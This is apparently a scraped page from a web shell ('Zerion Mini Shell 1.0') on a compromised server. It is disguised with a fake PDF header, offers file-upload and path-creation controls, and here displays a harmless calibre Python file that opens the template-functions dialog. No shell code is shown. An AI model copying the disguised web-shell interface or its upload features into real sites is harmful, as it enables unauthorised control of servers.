%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/calibre/calibre/gui2/actions/
Upload File :
Create Path :
Current File : //lib/calibre/calibre/gui2/actions/show_stored_templates.py

#!/usr/bin/env python3
# License: GPLv3 Copyright: 2020, Charles Haley

from calibre.gui2.actions import InterfaceAction
from calibre.gui2.preferences.main import Preferences


class ShowTemplateFunctionsAction(InterfaceAction):

    name = 'Template Functions'
    action_spec = (_('Template functions'), 'debug.png', None, ())
    dont_add_to = frozenset(('context-menu-device',))
    action_type = 'current'

    def genesis(self):
        self.previous_text = _('Manage template functions')
        self.first_time = True
        self.qaction.triggered.connect(self.show_template_editor)

    def show_template_editor(self, *args):
        d = Preferences(self.gui, initial_plugin=('Advanced', 'TemplateFunctions'),
                close_after_initial=True)
        d.exec()

Zerion Mini Shell 1.0